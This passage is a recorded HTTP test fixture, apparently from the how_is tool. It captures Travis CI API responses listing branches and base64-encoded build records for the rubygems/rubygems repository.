Cache-Control, Expires, Etag, Last-Modified, X-Request-ID Strict-Transport-Security: - max-age=31536000 X-Endpoint: - Travis::API::V3::Services::Branches::Find X-Oauth-Scopes: - '' Vary: - Accept-Encoding X-Rack-Cache: - miss X-Request-Id: - e58648f4-0b29-4847-8dc2-684dabc6f397 Via: - 1.1 vegur body: encoding: ASCII-8BIT string: |- { "@type": "branches", "@href": "/repo/rubygems%2Frubygems/branches?sort_by=default_branch", "@representation": "standard", "@pagination": { "limit": 25, "offset": 0, "count": 217, "is_first": true, "is_last": false, "next": { "@href": "/repo/rubygems%2Frubygems/branches?limit=25&offset=25&sort_by=default_branch", "offset": 25, "limit": 25 }, "prev": null, "first": { "@href": "/repo/rubygems%2Frubygems/branches?sort_by=default_branch", "offset": 0, "limit": 25 }, "last": { "@href": "/repo/rubygems%2Frubygems/branches?limit=25&offset=200&sort_by=default_branch", "offset": 200, "limit": 25 } }, "branches": [ { "@type": "branch", "@href": "/repo/2221/branch/master", "@representation": "standard", "name": "master", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": true, "exists_on_github": true, "last_build": { "@type": "build", "@href": "/build/360411365", "@representation": "minimal", "id": 360411365, "number": "4813", "state": "passed", "duration": 6466, "event_type": "push", "previous_state": "passed", "pull_request_title": null, "pull_request_number": null, "started_at": "2018-03-30T20:02:16Z", "finished_at": "2018-03-30T20:27:57Z" } }, { "@type": "branch", "@href": "/repo/2221/branch/fix_no_proxy", "@representation": "standard", "name": "fix_no_proxy", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/improve-gemspec", "@representation": "standard", "name": "improve-gemspec", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/segiddins%2Ftar-header-empty-constant", "@representation": "standard", "name": "segiddins/tar-header-empty-constant", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-compatibility-for-ruby192", "@representation": "standard", "name": "remove-compatibility-for-ruby192", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-needless-openssl-hack", "@representation": "standard", "name": "remove-needless-openssl-hack", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/fix_exec_name_docs", "@representation": "standard", "name": "fix_exec_name_docs", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-bundled-rdoc", "@representation": "standard", "name": "remove-bundled-rdoc", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/conservative", "@representation": "standard", "name": "conservative", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/segiddins%2Fsorted-requirements", "@representation": "standard", "name": "segiddins/sorted-requirements", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/util_spec", "@representation": "standard", "name": "util_spec", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-encoding-condition-2", "@representation": "standard", "name": "remove-encoding-condition-2", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-encoding-condition", "@representation": "standard", "name": "remove-encoding-condition", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-syck-support", "@representation": "standard", "name": "remove-syck-support", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/colby%2Frubocop", "@representation": "standard", "name": "colby/rubocop", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/use-dir-home", "@representation": "standard", "name": "use-dir-home", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/more-deprecate-rubygems3", "@representation": "standard", "name": "more-deprecate-rubygems3", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/improve_invalid_proxy_error_message", "@representation": "standard", "name": "improve_invalid_proxy_error_message", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-deprecated-methods-for-rg3", "@representation": "standard", "name": "remove-deprecated-methods-for-rg3", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/indirect%2Fupdate-policies", "@representation": "standard", "name": "indirect/update-policies", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/update_gem_push_help_description", "@representation": "standard", "name": "update_gem_push_help_description", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/deprecate-for-rubygems3", "@representation": "standard", "name": "deprecate-for-rubygems3", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/fix_verify_entry", "@representation": "standard", "name": "fix_verify_entry", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/remove-ruby-ver-condition", "@representation": "standard", "name": "remove-ruby-ver-condition", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": true, "last_build": null }, { "@type": "branch", "@href": "/repo/2221/branch/fix-2180", "@representation": "standard", "name": "fix-2180", "repository": { "@type": "repository", "@href": "/repo/2221", "@representation": "minimal", "id": 2221, "name": "rubygems", "slug": "rubygems/rubygems" }, "default_branch": false, "exists_on_github": false, "last_build": null } ] } http_version: recorded_at: Fri, 30 Mar 2018 22:04:01 GMT - request: method: get uri: https://api.travis-ci.org/repo/rubygems%2Frubygems/builds?branch.name=master&event_type=push body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - api.travis-ci.org Travis-Api-Version: - '3' response: status: code: 200 message: OK headers: Connection: - keep-alive Server: - nginx Date: - Fri, 30 Mar 2018 22:04:01 GMT Content-Type: - application/json Transfer-Encoding: - chunked Access-Control-Allow-Origin: - "*" Access-Control-Allow-Credentials: - 'true' Access-Control-Expose-Headers: - Content-Type, Cache-Control, Expires, Etag, Last-Modified, X-Request-ID Strict-Transport-Security: - max-age=31536000 X-Endpoint: - Travis::API::V3::Services::Builds::Find X-Oauth-Scopes: - '' Vary: - Accept-Encoding X-Rack-Cache: - miss X-Request-Id: - d3aeb867-e46f-4eee-a942-a42db24c0316 Via: - 1.1 vegur body: encoding: ASCII-8BIT string: !binary |- ewogICJAdHlwZSI6ICJidWlsZHMiLAogICJAaHJlZiI6ICIvcmVwby9ydWJ5Z2VtcyUyRnJ1YnlnZW1zL2J1aWxkcz9ldmVudF90eXBlPXB1c2gmYnJhbmNoLm5hbWU9bWFzdGVyIiwKICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAiQHBhZ2luYXRpb24iOiB7CiAgICAibGltaXQiOiAyNSwKICAgICJvZmZzZXQiOiAwLAogICAgImNvdW50IjogMjE3MSwKICAgICJpc19maXJzdCI6IHRydWUsCiAgICAiaXNfbGFzdCI6IGZhbHNlLAogICAgIm5leHQiOiB7CiAgICAgICJAaHJlZiI6ICIvcmVwby9ydWJ5Z2VtcyUyRnJ1YnlnZW1zL2J1aWxkcz9icmFuY2gubmFtZT1tYXN0ZXImZXZlbnRfdHlwZT1wdXNoJmxpbWl0PTI1Jm9mZnNldD0yNSIsCiAgICAgICJvZmZzZXQiOiAyNSwKICAgICAgImxpbWl0IjogMjUKICAgIH0sCiAgICAicHJldiI6IG51bGwsCiAgICAiZmlyc3QiOiB7CiAgICAgICJAaHJlZiI6ICIvcmVwby9ydWJ5Z2VtcyUyRnJ1YnlnZW1zL2J1aWxkcz9ldmVudF90eXBlPXB1c2gmYnJhbmNoLm5hbWU9bWFzdGVyIiwKICAgICAgIm9mZnNldCI6IDAsCiAgICAgICJsaW1pdCI6IDI1CiAgICB9LAogICAgImxhc3QiOiB7CiAgICAgICJAaHJlZiI6ICIvcmVwby9ydWJ5Z2VtcyUyRnJ1YnlnZW1zL2J1aWxkcz9icmFuY2gubmFtZT1tYXN0ZXImZXZlbnRfdHlwZT1wdXNoJmxpbWl0PTI1Jm9mZnNldD0yMTUwIiwKICAgICAgIm9mZnNldCI6IDIxNTAsCiAgICAgICJsaW1pdCI6IDI1CiAgICB9CiAgfSwKICAiYnVpbGRzIjogWwogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM2MDQxMTM2NSIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNjA0MTEzNjUsCiAgICAgICJudW1iZXIiOiAiNDgxMyIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA2NDY2LAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMzBUMjA6MDI6MTZaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMzBUMjA6Mjc6NTdaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwNzQ3MTA1MywKICAgICAgICAic2hhIjogIjkxYzcyZDVhODA4ODVmYjZhZjMxODdhNjg2NjhlNzYyYmYyMzNkM2MiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyNDkgLSBydWJ5Z2VtczpmaXhfbm9fcHJveHksIHI9YnJvbnpkb2NcblxuRml4IG5vIHByb3h5IGNoZWNraW5nXG5cbiMgRGVzY3JpcHRpb246XG5jbG9zZXMgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjQzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvOWE4YzZjYjM0ZjA1Li4uOTFjNzJkNWE4MDg4IiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMzBUMTk6MzY6NDBaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM2NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzY2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM2NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzY3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM2OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzY4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM2OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzY5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzcwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3MSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzcxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzcyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3MyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzczCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzc0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM2MDQxMTM3NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzYwNDExMzc1CiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTMwVDIwOjI3OjU3Ljc0NFoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM1ODgzNzk2NCIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNTg4Mzc5NjQsCiAgICAgICJudW1iZXIiOiAiNDgwOCIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA2MjQwLAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMjdUMTE6MjE6MDVaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMjdUMTE6NDY6MjNaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwNjk1MDk4NCwKICAgICAgICAic2hhIjogIjlhOGM2Y2IzNGYwNWY3MWI3ZDIyOWM3NjVjMjAwOTU1NTY0YTFiYWEiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyNTIgLSBydWJ5Z2VtczpyZW1vdmUtcnVieS12ZXItY29uZGl0aW9uLCByPWNvbGJ5LXN3YW5kYWxlXG5cblJlbW92ZWQgbmVlZGxlc3MgdmVyc2lvbiBjb25kaXRpb24gZm9yIHRoZSBvbGQgcnVieVxuXG4jIERlc2NyaXB0aW9uOlxuXG5JIHJlbW92ZWQgb2Jzb2xldGVkIGNvbmRpdGlvbiBmb3IgdGhlIG9sZCB2ZXJzaW9ucyBvZiBSdWJ5IGxpa2UgMS44IGFuZCAxLjkuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFsgXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvNGJjNzMzODY2NDdjLi4uOWE4YzZjYjM0ZjA1IiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMjdUMTA6NTU6MjBaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk2NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTY1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk2NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTY2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk2NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTY3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk2OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTY4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk2OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTY5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk3MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTcwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk3MSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTcxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk3MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTcyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk3MyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTczCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1ODgzNzk3NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU4ODM3OTc0CiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTI3VDExOjQ2OjIzLjIyMFoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM1ODY3NzQwOCIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNTg2Nzc0MDgsCiAgICAgICJudW1iZXIiOiAiNDgwNSIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA2NTgyLAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogImZhaWxlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMjdUMDA6NTM6MjdaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMjdUMDE6MTk6MjJaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogI